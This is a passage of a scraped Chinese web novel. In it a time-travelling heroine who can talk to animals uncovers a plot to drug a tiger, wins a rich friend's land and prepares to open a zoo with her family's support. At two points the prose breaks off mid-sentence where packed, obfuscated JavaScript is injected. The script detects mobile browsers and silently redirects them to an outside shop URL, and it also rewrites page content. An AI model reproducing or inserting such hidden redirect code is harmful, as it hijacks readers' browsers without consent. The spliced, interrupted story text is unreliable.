小黑仰起头眯着眼睛,心安理得接受庶民的挠痒痒服务,心情不错,慢条斯理边舔毛边道:“你们瞧它站在高处很威风的模样,事实是小王恐高,不敢下去罢了,我只说可以教它如何从那么高的位置跳下去毫发无伤。” “你叫它什么?” 黑猫:“小王。” 苏卿卿:“……” 这就是傲娇猫猫最后的倔强吗? 不知怎的,那脑门上霸气的“王”字瞬间锋芒全无,还多了几分亲近。 顶着三横一竖的老虎显然食欲不振,鲜香美食没吃两口便面朝里倚靠着笼子半卧,垂着耳朵样子无精打采,连呼吸声都是沉重的。 俗话说得好,一物降一物。苏卿卿将黑猫捞起抱在怀中踩下两级石阶,主动靠近笼子。 她蹲下身问:“老虎你好,我叫苏卿卿。”然后她轻轻敲了两下笼子边,“怎么才吃这些,是不是胃口不舒服呀?” 无回应。 黑猫本是冷眼看着,见人类太无能才摇了摇头,接着从胳膊里钻出去走到笼子边,后脚蹬地跳上底托,发挥流体动物本质从缝隙中溜进去。 慢悠悠晃了一段距离后,小黑直接跃到老虎身上,高傲自大毫无畏惧的拽样。 “喵~我看它除了身体原因,更多的是愧疚吧,强势什么的都是装出来的。” “嗷呜…”老虎好像觉得自己内心戏被拆穿,羞耻低下头用虎爪捂住脑袋瓜。 这大概是只MBTI为INFJ的老虎,苏卿卿在心里这样猜测。 考虑除自己之外所有人感受的性格,那必然不可能无缘无故主动咬人。 “是这样的,”苏卿卿盘腿席地而坐,拿出跟领导对话的气场,循循善诱,“我打算开家动物园,在空旷自由的城外你的活动空间会宽阔很多,还有其他小伙伴,包吃包住,时不时组织个集体活动,相信你会喜欢的。” 这府邸花园虽是不小,但哪只山地林栖动物不想在土地植被上撒开腿奔跑,不必担心控制音量,也没有驯兽人挥着鞭子警告以及每日要辛苦排练的虎戏。 一直以来,从小家养的它对于自食其力的外面世界有着不小恐惧,不然以它这外形足以唬住不少人逃出生天。 动物园,是自然环境但不愁吃喝,简直是梦想天堂。 短暂的沉默过后,老虎喉咙发出低沉的动静,它缓缓挪动用前肢撑起身体转过来。 苏卿卿终于近距离与之对视。 很震撼,“虎视眈眈”这个成语非常传神。 就算是在现代世界也没有机会如此近距离接触老虎这种大型动物,更别提对话交流了。 “原本……” ?等等等等。 第一次亲耳听到老虎的声音,跟想象中完全不同。 旁人听来可能与略重一些的呼吸声并无分别,但她能听出声音里蕴含的清亮,与粗旷外表形成极致反差。 声控的苏卿卿都有点心动了。 老虎继续道:“原本……每年都会有段固定时间送我到城外去放风,可今年因乔迁一事招待的人物层出不穷,不仅出城机会被剥夺,还强迫我练习古怪的表演。” “我打断一下,”苏卿卿眼前闪过一道光,突然有了某种预感,她放慢语速问道,“你说的城外放风的地方不会就是……” “出了县城往北走的那一片被围起来的地方,有没有命名我也不清楚。” !!! 苏卿卿噌得伸手握住虎爪,用力上下摆动。 “虎哥,你放心,我一定会让你自由生活在城外的!” 跟人对话已经够稀奇,跟不怕自己还过来拉自己爪的人对话更是堪比太阳打西边出来。 老虎歪头,用略带疑惑的眼神看向黑猫。 得到的回应是一个已经对此现象司空见惯的哈欠…… 苏卿卿精神焕发,工作属性拉满,语气从不正经一秒切换变严肃:“我先问一个问题,所以你咬人是因为叛逆?” “怎么可能?!”老虎猛地起身,嗷了一嗓子,两腮颤动随后又突然低沉,“我说了你们也不会相信。” 最讨厌话说一半的人。 苏卿卿衣着朴素,但眼眸明澈,微微一笑自带轻灵之气:“小王,如果我是你,我现在肯定把话全都倒出来,毕竟好不容易遇到个能听懂自己说话的人类,不把握好机会可再没有人能知道实情了。” 晓之以理动之以情。 老虎的脑子没有弯弯绕,思来想去觉得有道理便放下疑虑。 “这几日我一直努力练习,想着好好表现还有机会领奖励去城外玩耍,可昨日突然头很痛,然后身体不听使唤,我再睁眼面前的人就已经被我咬伤了。” 不是本能,事情比想象的复杂。 苏卿卿紧皱眉头,右手食指不停摩挲下巴沉思。 怎么说她也是从现代穿越过来的,这点便宜剧情还是一猜一个准,想必是被人设计了。 时间点也很微妙,正巧明日乔迁宴。 苏卿卿眼皮一跳,突然起身,连旁边的黑猫都被这举动吓到。 - “有人要害高家?!” 前厅内,高栖野来回踱步消化所有已知信息。 古代的道具没那么多花里胡哨的,最有可能的便是通过食物,排除银针等外部手段是因为老虎未曾睡觉休息,处于一切正常的状态中服下药物。 高栖野拍了拍脑门,心想这事听上去处理起来并不难,但处处都有卡点。 假如将所有接触过老虎的人都赶出府去,那人鼓动情绪在街上散播言论,也会很大程度上影响明日父亲的宴会。 再假如将这些人全都绑起来关至宴会结束,必然有外面的人得到消息,到时候如若在宴会上发现高府囚禁下人,自我辩解的过程又会钻进对方陷阱。 苏卿卿看出这人心思,拍了拍胸脯很有信心地说:“这件事交给我。” 接下来她用不长的时间了解到老虎的来由。高栖野幼时跟随父亲高岱打猎,发现一只受伤小虎,抱在怀里与宠物狗并无二致便带回来养着。 久而久之发现这本该桀骜不驯的猛兽性情温顺得很,其他官员听说有关高府镇宅宝贝的奇闻纷纷前来拜访。 也是从那时起,高岱发觉这老虎的价值,豪气地找了专门人士负责照顾。所以搞事情的这些人并不是高府佣人,而是跟着外来驯兽师一起进来的负责照顾日常的杂牌军。 苏卿卿手握决策权,面前站着几个信得过的管事,外加坐在一边椅子上的高栖野。 她大手一挥,掷地有声:“老虎咬人前负责饭食的人……重重奖励!” “啊?”管事瞟了一眼旁边自家二公子。 “其他没有参与的人一律重罚,就按照你们家差不多级别的来就行,不要出人命。”苏卿卿说完转身坐下,端起茶杯吹了吹,仿佛刚才说出那番蛮不讲理的话的人不是她。 “……”高栖野突然觉得自己这位兄弟不是很靠谱了,“这就是你说的好办法?” 苏卿卿没心没肺咧嘴一笑:“正是,今日不用再训练了,明天高老爷回来一切计划照常进行即可。” 很快,管事照安排将事办妥,并且控制只有小范围的人知道此事。 潘维领了不少奖赏,暗自窃喜,极力克制疯狂上扬的嘴角,属实没想到这活还能两头拿钱。 回到偏房,他哼着小曲,大摇大摆玩弄各式宝贝,毫不低调。 周围其他人正在互相抹药,后背伤痕累累,虽不至于残废但也伤到了筋骨,且得养些时日。 一众人斜着眼睛带着怨念盯在一处。 然而潘维毫不在意,觉得幸运的人总会召来妒忌。 市集满满烟火气,火腿、小笼包以及各类羹汤百里飘香。 黑猫盘在苏卿卿肩上,蹭了蹭脑袋想不通,心系小王又不想直说,过了半条街还是没忍住问出一句:“人类,你究竟在打什么主意?” 苏卿卿伸出一根食指在猫眼前挡着,自己用鼻子嗅了嗅,然后心情愉悦指着旁边的面摊,答非所问。 “明日来这里吃面可好?” - “客官,您的面。” 苏卿卿道了声谢,随后闷头安心吃面。 昨日见这家店生意兴隆便嘴馋得不得了,县城的食肆酒楼丰富多样,朴素的面店能持续红火一定有它的道理。 在靠近街道的位置,苏卿卿丝毫不受行人干扰,夹起一筷子面送入口中,绵软筋道,咸香美味。 味觉的记忆在脑海中会更深刻,她突然回忆起现代社畜生活午休的时候和独自到公司楼下的面店边吃边自来熟得与同桌的人吐槽恶魔领导的画面。 那家小店做出来的与眼下这面味道十分接近。 难不成百年老招牌真是诚不欺人? 还没等她正式陷入回忆,对面的黑猫在案几上打了个滚,看样子是已经享用完鲜美的虾米。 “你是不打算去看小王表演了。”黑猫在清晨阳光下更显得毛茸茸,清澈的眼睛骨碌碌转,吸引了好几位路人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏卿卿点头,随之笑道:“后来我带着药去看望了他,简单对话了两句。” 轻飘飘说完,她继续喝茶,从系统奖励兑换出的银两除去给家里人留下的大头儿,剩下的也够她气定神闲地喝上好一会儿了。 “你做挑拨离间的缺德事?” “注意用词,姓曹的也没少欺压百姓,”苏卿卿的原身记忆里有这部分的印象,“所以,我那是让他们黑吃黑,窝里斗,自相残杀,都没好果子吃。” “区区人类,敢嘲笑本喵的词汇量!” 都说黑猫智商比其他猫要高出很多,它在自己的小脑瓜里琢磨潘维会遇到的事,多种情况猜了个遍,最后落脚点定在那家伙可能会被抢走食物饿个两天。 很明显,某部分人类的行为远远超出了动物的理解范畴。 “你这是什么眼神?还不明白现在的情况吗?” 一个人伸手掐着潘维的脖子将其按到地上,这双手应是干粗活的,满手的茧子像刀割喉咙一般。 “我负责每日喂养老虎!今日宴会的表演很重要,短了吃食不管出现什么意外你们都有责任!” 潘维一边挣扎一边嘶吼,不过嘴上这么说,心里想的又是另外一番事。 为了不贻人口实,教他做事的那方只在他外出采买的过程中短暂交涉。 事情办成,钱会放在特定地点。 如果事没办成,联络中断,他也没处寻人。 对面的人像是在听笑话又补上一脚:“昨天老虎发疯之事就是你做的,还当谁不知道,冒领了功还让我们一齐受罚是不是太不要脸。” 潘维一愣,用力转头,表情好像在说你们怎么知道。 “曹哥有高人指点迷津,全都查清楚了,”那人不松手,又低头轻笑,“放心,不会饿到老虎,昨日另买了一份更完美的食材。” 潘维听后脸色大变,心里已经有了结论,自己只可能是被雇主抛弃了,所有的脏水全部他一人承受。 那“高人”的身份他自认为猜得不错,在地上挣扎一阵,大吼道:“我要见高公子!” “什么动静?”高岱偏过头问道。 管事笑称:“可能是老虎传来的。” 高岱也被逗笑了,伸手对着管事比划了两下然后转身向宅院正门走去迎接宾客。 宴会所邀之人众人,大家也都带着礼物如约登门拜访。 后花园已经布置完备,餐桌上的酒盏和碗碟拜访齐整,精致的箸瓶花纹新颖,里面的箸也是金银质地,典雅美观。 雕栏环绕,饮酒作乐,宴会的高潮老虎表演也顺利结束,赢得阵阵欢呼。 直到老虎被带远,一个人在暗处咬牙,攥紧拳头退后两步欲要离开。 不料刚一转身就被走出连廊的高栖野拦住,一双狭长的眼睛犹如狐狸:“大人,公务繁忙,也要多注意劳逸结合啊。” 修长的手一下一下给黑猫顺毛。 “这办法确实有漏洞,但在这个等级的事情上还算够用。”说完,苏卿卿扬起胳膊伸了个懒腰,这两日东奔西跑,常年坐办公室的小身板酸疼无比。 “没想到你还是个有心机的人类。”黑猫总算觉得眼前这人类配得上当自己的铲屎官了。 “我这叫下棋看三步。”苏卿卿稳稳喝茶,伸出三个手指一一折下。 三、 二、 一。 再抬头,对面的空座位上多出一个人,淡绿色圆领长袍,腰带上的挂饰明显没有之前讲究,一看就是匆忙出府。 “结束了?”苏卿卿问。 “结束了。”高栖野答。 “没有意外吧?” “没有意外。” “那我就不客气了。” “嗯?” 苏卿卿嗅到背信弃义的味道,站起来一拍桌子。 高栖野忙抬手制止,失笑道:“好好好,一言九鼎,想让我怎么帮你开……开动物园?你图我什么尽管开口。” 苏卿卿听到这话才又坐下,妙目流波,挑眉一笑。 “嘿嘿,我图你的地产。” 8. 市场调研 - 翌日,两乘马车一前一后在城外细窄的小道上缓缓挪动。 苏卿卿与……一只虎三条狗一条蛇还有一团黑猫坐在同一乘马车里。视野内毛茸茸的五颜六色,各种音频重叠,场面一度混乱。 她本有刹那的念头是想效仿当代男团大厂管理模式——给每位动物穿上象征不同科目的衣裳,整整齐齐也算是动物园的统一服饰。 后来转念一想,自己还是打工人时不正正最讨厌这种强制规定!久而久之会消磨掉大部分员工积极性。偌大职场个体微不足道,群体死气沉沉,绝对不行。 啧,一想到工作,就禁不住怨念上身。 清风拂过,她晃了晃脑袋回过神来,向外看去。 窗外的田园风景可比城市开阔得多,都说这人不能活成自己嫌弃的模样,环境变了心态也需得跟着一同脱俗才行。 园长最终决定:罢了罢了,乱就乱吧。本就是追求自然真实的野生动物园,建造一种个性化工作环境蛮好。 ——真羡慕这些小东西,能遇到她这么豁达的BOSS。 苏卿卿边想边托着腮乐滋滋看着眼前毛茸茸的几个团子窝在一处,以小黄狗为首叽叽喳喳的不知道在开什么主题会议,黑猫明显对话题兴趣了了,踩着老虎的身子向上攀爬最终卧在其头顶,只身位于最高点俯视众生。 路程不近,为了节约时间也为了缓解困意,她抬手轻轻敲了两下车框,吩咐车夫加快速度。 车夫会意后扬起缰绳,很快便成功与前面的那乘并驾齐驱。 高栖野正无聊发呆,听到动静后单手拉开帘子探头向外看,眼下自己正对着一面精雕细琢的窗牖,在阳光的映照下发出金色光芒。 接着,对面的帘子同样被人掀开,忽视那条挡住半张脸的黑色猫尾巴,只见一位清纯明媚的少女带着满眼笑意,身穿素色布质衣裳,头上为了方便而随意挽起一个髻,自然不失美感,让人挪不开眼。 “之前想送你桃花粉画眉墨什么的,你都不要,如今怎么想开了。”高栖野睁圆眼睛,然后竖起大拇指,用一种欣慰的语气道,"美极了。" 苏卿卿笑着清了清嗓子:“要做生意了,得提前注意仪容仪表才是。” 天底下哪有女孩子真心不爱美,原身也是因家中贫苦,风吹日晒外加疲劳过度和营养不良导致惊艳的容貌不得展现,并且久而久之物欲降低,就算别人主动相送,也会因觉得有压力连连后退。 这对面的又是个妥妥直男钢铁脑子,被拒绝一次定不会赖第二次,活该最后处成兄弟。 原身,等着姐姐我给你打下一片天地! 车轮碾过碎沙石颠簸不停,燃起熊熊志气的苏卿卿在晕车的情况下依然保持连珠炮式的语速询问高栖野。 得知这片地为高家祖上在之前鼓励开荒,土地自由买卖的时候盘下来的,高岱本想将其建造成一处囊括蹴鞠、各项棋类与人偶戏的大型娱乐场所,用以招待各界人士,后来因为地形不规则和安全性太低等原因取消了原定计划致使这处荒废许久,在老虎出现后便时不时将此地用来供其放风撒野。 苏卿卿越听越两眼放光,兴趣正浓。 这真是个开动物园的绝妙场地! 不多时,马车抵达,守卫放行。 下车后抬眼望去,眼前是片不算大的湖面,在天气的影响下结上一层厚厚的冰,不需要船只也能直接走到中央那座迷你小岛上。 “出来吧。” 车上的动物们听到可以下车的信号一窝蜂跑出来撒欢儿,车夫看了直揉眼,心说刚刚路上自己还在怀疑车内是什么人动来动去如此不稳当,没成想竟然是拉了一车的动物。 而且种类差异是不是有点过大? 但这奇怪的和谐是怎么一回事啊! 车夫与马于无声中对视一眼,随后车夫几乎是在马踏蹄的同一时间勒紧缰绳!! 所幸成功安抚住这匹想要加入自由的马,拂去额头的汗之后再想细细辨明眼前的情况,那两人与动物们早就拐进围墙,消失得无影无踪。 他将马拴好,在好奇心的驱使下趁守卫不注意靠近墙边。 这片地围墙飞檐翘角,漏窗较大,站在外面也能窥见几分园内风光。大门左侧是一处小长廊,连接两处偏房。未经任何打扫整理,被枯死的藤蔓覆盖得严严实实,在围栏外面看的时候还以为是一株干枯的百年老树。 高栖野掸了掸身上的灰,指着面前的长廊和房子道:“这便是这片地皮上唯一的建筑,本是为让侍卫们有个休息乘凉的地方而建。” 其他的字符风吹云散,苏卿卿只听到了“唯一”二字,进而呆呆站在原地,在心中盘算着动物园装修费用。 今日清晨,系统已经将老虎任务的奖励发放,这种不拖欠“工资”的做法得到了苏卿卿用一百个不重样的成语三百六十度激情夸赞。 但目前看来,钱还是不够。 她含泪转身,细细观察。 这么大片的土地,光是要缴的税务就是个非常沉重的数字,除此之外还需要除杂草,将部分位置偏颇的枯木伐掉,其余的等到春天万物复苏后定然要精心修剪,房屋也得进行分区建造等等。 真是个大工程啊,好在自己的系统能力可以节省些员工费,苏卿卿心想,只好逢山开路,遇水架桥了。 高栖野见这人迟迟没有跟上来,转身靠近,他对眼前这人的表情再熟悉不过。 高家是远近闻名的富商,被誉为天生会赚钱的家族,二公子匡扶正义的时候也是东捐一笔西捐一笔。 他刚要一拍胸脯开口说钱的事情包在他身上。苏卿卿便皱眉抬手及时制止,气场十足不容辩驳,她认为钱的事情还是算清楚为好,不然高岱那边也不好交代,万不可将简单事情因为人情而复杂化。 得到对方点头认同后,她才松下一口气,慢悠悠转身继续道:“目前我的动物伙伴还少,不足以开园,这块地方你定个租金给我留着,年后我定能开张。” “放心,这没问题。” 真的没问题吗? 苏卿卿在回家的路上一直沉浸在自己的世界里,都没注意旁边已经凌驾于所有动物之上的黑猫的威武英姿。 与之相反,花蛇身形小巧,话少内敛,存在感极低,比如它现在绕在苏卿卿胳膊上扮演一条手绳,毫不违和。 老虎那只大家伙她属实不敢带回村里,天寒地冻,装修还未开启,就地放养也不适宜,于是它在车夫和马双双抗拒的眼神下乖巧爬上了高栖野的车。 高栖野:………… 苏卿卿走进村子,傍晚时分,星子点点寒意正浓。 “人类,接下来作甚?” 黑猫在那三条狗狗的背上各骑了一段路,征服了子民的国王觉得没什么意思之后再度回到人类的肩上趴着。 还有太多要做的了。 带着现代经营理念的苏卿卿脑子里的流程已经写得满满当当,书到用时方恨少,上学的时候吐槽学这些东西无用,全班怨声载道称未来哪有什么机会搞从无到有的创业。 这不,你永远不知道自己什么时候会穿越到奇怪的时间空间做生意。 大学老师投影屏幕上的字渐渐被回忆起,排在第一顺位的就是最好趁当下还没开始营业,抽出时间进行一圈市场调研。 今日闲聊时高栖野告诉苏卿卿,县城里的人们都非常喜欢动物,尤其是体态圆润可爱有福气的,被认定有招财的寓意。不过有个别小型马戏团已经存在,尤其在夜市中每每开场获得的反响都十分热烈。 但这对动物园来说存在分流风险。 商圈,竞争对手,对手实力…苏卿卿躺在床上嘴里嘟嘟囔囔,想着这些睡了过去。 - 转天,苏卿卿起了个大早,带着笔墨纸张徒步上街。 应是接近年关,酒馆茶楼皆挂起灯笼装饰,门神像,桃符爆竹,各式各样金红一片挂在店铺门口足以驱散方圆几百里的“邪气”,还有不同商家准备的过年礼包降价出售,馈与一年老主顾,更是掀起购物热潮。 行人满面红光拎着大包小包,视线却总是被一处吸引。 只见路中央一位面容秀美大气的少女披着红色绣花斗篷,发丝飞扬,肩上窝着一黑色毛绒团子,琥珀色玻璃球般透明的眼睛半睁着,长长的尾巴耷在少女两肩。 最稀奇的是,那黑猫的脖子上围着条花蛇,酷似会蠕动的项圈。 分工明确——这猫咪是人类的挂饰,小蛇是猫咪的挂饰。 和谐融洽,新鲜感十足,更有胆子大的行人直接上前招呼。 苏卿卿当然不排斥,反而希望接近自己的人越多越好。 待行至街道中段,找了个不错的位置便准备原地对路过的人们进行一番采访。 “夫人,这条街每日几时最热闹?” “小姐,这附近可否有与动物有关的店铺?” “公子,平日可喜欢看马戏?猴戏?猫……猫戏?” 后期逐渐暴露本性。 “竞争对手约是哪些店铺?” “你好,这里是钱氏马戏团吗?” “平日盈利多少?亏损多少?” …… 市集里的人们听着有趣,参与进来的也越来越多,还有熟人认出这是之前捉蛇解毒的少女,又带起一波火热气氛。 连带着旁边小食肆生意都跟着好了起来,店主是个精明人,很有眼色得马上拿出椅子让苏卿卿坐定于此,这姑娘简直是生意福星啊! 呼~一整天的街头采访结束后,连猫带人都累的四脚朝天,食肆老板递过来一壶热茶表示感谢,用毛巾擦了擦额头的汗,笑着感慨这下能过个好年了。 “人类很喜欢过年吗?”小花蛇声音闷闷地问道。 黑猫嗯了一声:“对他们来讲,这具有辞旧迎新的寓意,不过咱们动物对时间感知能力弱,意义不大。” “怎么不大了?”苏卿卿抬头看了看天,声音无比敞亮,“明年咱们动物园定会兴隆,你们便可以感觉到翻天覆地的变化啦。” 黑猫和花蛇闻此言后对视一眼,不由得同时轻笑一声。 这小人类,有点可爱。 一阵凉风带着饭香吹过。 惠惠关上窗户,贤贤乖巧踮起脚尖将碗筷摆放在桌面上。 刘氏的身体在药物作用下恢复了不少,正端着热菜走出厨房,她听到动静后抬眼看向院门,木头栅栏传出吱呀一声。 “卿卿回来了啊,外面冷快进来,今日做的都是你喜欢的菜。” 温柔的声音传出,让人悬着的心一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091480|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间落定。 苏卿卿只顾着抬头找娘,压根没留意脚下三条快乐小狗绕来绕去的欢迎仪式,左躲右闪险些绊倒。 小猫率先带着花蛇一起跳到狗群中分享今日上街的见闻,这才让短暂的“粉丝见面会”消停下来。 苏卿卿长舒一口气,转身关上院门,直起腰身眺望远方。 村落里小路的尽头连着远山黑影,一个人影都没有,像是个与世隔绝之地。 回过头来,砖头砌筑的房屋前是圈出来的小院子,有块不大的田地平时可以种些蔬菜,自给自足。 不过这一整个冬天都空着没有利用,此刻正被动物们跑来跳去,围成一圈占据着。 她先在厨房温热些从街上买回来的食物分给动物们,然后才安心到屋里同家人一齐围在圆形木头桌子周围。 江山易改,本性难移。平日里的话痨突然安静,自然会引起旁人怀疑。 “姐姐,你是不是不舒服?”惠惠嘴角挂着饭粒,眼神颇为担心。 贤贤听后也忙咽下嘴里的饭,用软糯小奶音说:“姐姐,一会儿我来洗碗,你回屋好好休息吧。” 这种时候还是当妈的最了解女儿。刘氏往卿卿碗里又夹了一筷子青菜和鸡蛋,家常菜喷香扑鼻,她又继续夹了两筷子随后问道:“可是外面遇到了什么困难,这一连几日早出晚归,又打什么鬼主意呢?” 苏卿卿穿越过来之后做了不少与原身性格不符的事情,如今这母亲与妹妹们都要习惯了。 她听到这话一口饭噎住,用拳头捶了捶才顺下去:“确有一事要与你们商量。” 咳,尽管已经没得商量了。 其他三个人听到这话都视线紧盯,眉头皱起的样子比起期待好消息更像是害怕家中又多了新的债务。 苏卿卿:“……”看来前几日的成就并不能彻底拔掉家人们心中的草。 “咳咳,我想要做生意赚钱养家,这不,”她指了指眼前,“最近几天小有成就。” 桌子上的米蛋菜都是用系统奖励金币兑换的,某种程度上也算是生意的第一桶金……吧。 空气安静了片刻。 没有第一时间被泼冷水,是个好兆头。 苏卿卿闭口不言,偷偷瞟了一眼,两个平时吃饭最积极的小吃货此时也放下碗筷,眼球轱辘转仅用余光观察着眼色,反观刘氏情绪平稳,表情说不上是生气,更像是在沉思。 “卿卿啊……” 来了来了,让暴风雨来得更猛烈些吧,她自认心理素质良好,能扛住所有人不看好的目光。 “想做生意很好啊,咱们家的情况只靠种那片不大的地确实不够生活的,只怕是会很辛苦,”刘氏比了个手势示意两个妹妹继续吃饭,自己继续道,“但我相信你能够做成。” 苏卿卿怔住,脑子里的一大堆说辞突然被清了个干净。她觉得同样的对话放在现代社会都不一定被旁人理解,没想到在这各个方面远远落后的古代竟然能受到直接性鼓励。 “您放心,我想县城外面的荒地上开个园子,诸多事宜已经找高二公子商讨过了。”搬出一个帮手能让人放下不少心,说完,她又笑着补上一句,“当然啦,如果遇到实在受不了的困难还是会回来找你们哭一哭闹一闹。” 惠惠将碗里的米汤一饮而尽,笑嘻嘻道:“那我可以去园子里玩嘛!” “我也要我也要!”贤贤不甘示弱。 “当然可以,不过得过一阵子,等姐姐把院子布置完备。” 苏卿卿抬头对上刘氏的眼神,刚要开口继续,下一秒就被刘氏看穿。 “可有地方住?” 那地方距离村子不近也不远,但每日早出晚归还不如住在那里,也好踏踏实实思考动物园的准备工作以及第一时间光明正大跟动物们开小组会议。 “嗯,有个偏房,冬暖夏凉。”苏卿卿见两个妹妹撇着小嘴,上身前倾摸了摸她们的脑瓜,“会经常带好吃的回来的。” 小孩子到底是好哄的,注意力马上被美食转移。 “可以吃到糖葫芦吗?” “我想吃蜜饯!听说葡萄蜜饯可好吃了!” “枣花酥蛋黄酥也很香哇!” “……” 不知都是从哪里听来的,两个娃娃兴致盎然地报了好久的菜名。 - 原来这里有这么多美食,感觉有几样并没有在集市里见到过,看来下次得去向商家打听一下具体店铺。 苏卿卿躺在床上晃了晃脑袋,从侧躺转为平躺。 还没到想这些的时候吧!八字还缺一撇,刚刚大话已经放出去了,明日可就要离家出走,啊不是,可就要搞钱搞事业了。 她思来想去觉得只有自己压力这么大不公平,得找个对象转移一下。 然后清了清嗓子,对着空气直接开口道:“系统,你现在的任务就是让我认识更多的动物,越多越好!” 系统:【怎么有一种被反客为主的感觉……】 屋内方桌上灯盏旁,摆着一个用破旧衣服包裹的竹篮,这便是苏卿卿自制的宠物窝。 里面的两小只探出脑袋盯着床上那神神叨叨的人类。 小蛇:她怎么对着空气说话? 黑猫叹气摇头:很明显,这小人类,终于还是疯了。 9. 除夕 - “昨日上街情况如何?” 老虎对这个所谓的市场调研非常感兴趣,只可惜自己性格再怎么温顺表面上终究是只猛兽,上街会引起骚乱恐慌,还可能会被不明真相的路人当场抓捕,于是为了他人与自己的安全最终还是放弃了一同出行的计划。 苏卿卿走近,将手中的箱子放到地上发出一声闷响,缓口气后刚要答复,就被黑猫截去话音。 小黑团子伸了个懒腰变成长长一条,舔了舔毛,用还没睡醒的语气说道:“百姓啊,大多喜欢圆润小巧的动物。” …… 38.5度的体温怎么能说出如此冰冷的话。 眼看老虎“唔”了一声蔫头耷脑,像是要独自躲到角落里默默哭泣的架势,苏卿卿摇摇头,拍了两下手上的灰后一叉腰:“放宽心,咱这个盘很不错,毕竟不是所有人都有机会见到猛虎,只要开业第一天你表现出温柔亲近的一面,大家把好话传播出去,一传十十传百,最后每个人都会喜欢上你…额…这圆润大只的动物。” “盘?”老虎眨巴两下眼睛没听懂,但后半句貌似是好话,它歪头去找黑猫的眼睛欲要验证自己的观点,却发现小煤球团子窝在一食盒盖子上随后被人往里屋拎去,大有一种乘顺风车的意思。 那搬运小哥刚为了双倍工钱说服自己相信这里的老虎不会伤人,没想到一低头又见到黑猫,平日里县城中养猫的人家不在少数,可如此黑的还是第一次见,联想到人们普遍认为商店开铺或是开园等喜事如是遇见黑猫可不算是好兆头,他边想边不由自主回头瞟向“园长”。 谁知正对上一副很好看的笑颜,苏卿卿会错意,以为这小哥是忙活了半天累着了,赶紧抬手朝人打了个手势:“这一趟搬完就歇会儿吧。”说完她拎起地上的包袱,没成想实质与表面不符的重量直接把她拽了个趔趄。 老虎靠近帮少女稳住身形,然后用毛茸茸的脑壳蹭了蹭人的胳膊,嗷了一声将头扬起,示意她把东西放到自己背上。 苏卿卿对着那个稳稳当当十分靠谱的背影,啧啧称叹。 多温柔啊,有种rapper唱情歌的杀伤力。 她又一路小跑到大门外,眼前的景象焕然一新,之前浑灰一片被枯树枝干草叶遮蔽的月洞门擦洗干净后露出原本的朱红色,这要是到了春天搭配枝繁叶茂的绿树定是番美景。 跨出门槛后,她伸手抚摸立在门柱旁的木板,是要制作成“苏氏动物园”大招牌的原材料,纹路明显象征年岁久远。 过了一会儿,她无声浅笑,低头从衣服里拿出钱囊,转身抛给车夫道:“今日辛苦你啦,开园日定请你前来观赏。” 车夫一愣,连忙伸手欲要归还,心想这可是高公子吩咐的,怎么敢从中谋取好处。 苏卿卿装没看见,头也不回地走进园子,不留任何推辞的余地。 很显然,课堂上老师讲过,社会职场中见识过,这是价值对等问题。 在人家日常的工作中无缘无故多出这么一截子,不仅在距离县城较远的偏地,还有虎与蛇在周围徘徊,从对方的视角来看这活具有一定危险性,眼下不处理好,日后再请人来帮忙,久而久之会积压怨气,也就是俗称的打工人的怨念。 微风拂动,带来清新自然的味道,足以除去所有的杂念。 好在苏卿卿并非出身权贵之家,随身带的包裹也不多,这马车上更多的是她精打细算购置来的大型家具。 没成想在这古代的商铺也玩满几件打折的手段,她向来受不住此等诱惑,眼冒精光果断出手,最后还获得了赠品花灯,摆在大门入口左右两侧的山石前面,竹篾的编织工艺和彩色纸共同营造出春天已至的错觉。 阳光缓缓挪动,便也不觉得寒冷,只是苏卿卿自从堕落成社畜后就开始崇尚“生命在于静止”,多年记步软件日均不超过三位数,这两个偏房与中间长廊的布置事宜拢在一块折腾得她气喘吁吁。 幸而有群以一当十的动物帮手,大型动物负责牵拉水桶,小型动物负责拖布擦洗,虽说也会发生狗子拆家的情况,但无伤大雅,人类来兜底。 大小身影为了属于自己的园子忙里忙外,不出半天就全都打理好了。 原本空空如也的偏房摆齐家具,多了好几分温馨,那个听上去略带逞强意味的【动物园】,也有了事到临头的实感。 几个脑袋瓜挤来挤去凑到破除冰面的水池旁喝水,咕咚咕咚饮了个痛快,没看清是哪只小家伙先开的头,顿时水花四溅,黑猫抬脚想离开这幼稚的是非之地,被三条快乐小狗簇拥到漩涡中心。 最后,所有毛茸茸都变成了湿答答,只有本就光溜溜的小花蛇盘踞在一块矮石上爆发了有史以来最大音量的笑声,当然,收获了群起而攻之的效应,跑了两圈才被“园长”勒令回来围卧在暖炉旁烤火。 苏卿卿伸了个饱和的懒腰,叹出浊气,她这脾胃可不比动物的顽强,只得饮下热茶,获得堪比肥宅快乐水的酣畅淋漓,坐在长廊的边沿上,两手向后撑住地,上身后仰,两腿伸直,双脚晃来晃去,好不自在。 眼前正巧能欣赏到夕阳西下的美景。 这一天过得真充实,她心想,自己用整个下午的时间与县城中最有名的建筑匠师绕着偌大园子逛了一圈,过程中时不时驻足记录,对于如何划分园区有了初步设想,对方也指着最令人头痛的石头山提出点子,虽存在难度,但值得一试。 用拳头锤了锤已经酸得不行的肩膀,接着她又把小黑搂过来撸了两把回血,在对方即将炸毛的时候才松开。 “大家晚上想吃什么,我来下厨。” 不多时,喷香的菜蔬和面饭主食登场,还有甜食果子豆糕桃圈一并摆上长廊前的石桌上。 出乎意料的是,大家干饭都不积极,场面一度陷入安静。 苏卿卿坐在石凳上,眼球一转,很快便明白个中缘由。 食肉和食草动物始终隔着壁垒,这个问题她之前就思考过,不过由于老虎也是今日才正式开始与大家生活在一处,才让此问题变得更加明显。 这些小家伙们生性善良,饿得前胸贴后背还只顾内心矛盾。 她笑了笑起身走到暖炉旁,语气温和道:“放心,食物的问题我有办法解决,今天特意多做了些果子,你们都可以吃的。” 